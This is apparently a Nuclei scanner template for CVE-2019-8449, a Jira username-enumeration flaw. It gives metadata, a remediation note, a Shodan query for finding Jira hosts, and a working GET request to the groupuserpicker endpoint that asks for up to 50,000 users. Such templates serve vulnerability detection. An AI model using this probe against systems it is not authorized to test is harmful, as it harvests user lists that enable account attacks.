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id : CVE-2019-8449
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info :
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name : Jira <8.4.0 - Information Disclosure
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author : harshbothra_
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severity : medium
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description : Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations.
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remediation : |
Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability.
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reference :
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- https://www.doyler.net/security-not-included/more-jira-enumeration
- https://jira.atlassian.com/browse/JRASERVER-69796
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- http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score : 5.3
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cve-id : CVE-2019-8449
cwe-id : CWE-306
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epss-score : 0.1884
epss-percentile : 0.95564
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cpe : cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
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metadata :
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max-request : 1
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vendor : atlassian
product : jira
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shodan-query : http.component:"Atlassian Jira"
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tags : atlassian,jira,disclosure,packetstorm,cve,cve2019
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http :
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- method : GET
path :
- '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true'
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matchers-condition : and
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matchers :
- type : word
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part : body
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words :
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- '{"users":{"users":'
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- type : status
status :
- 200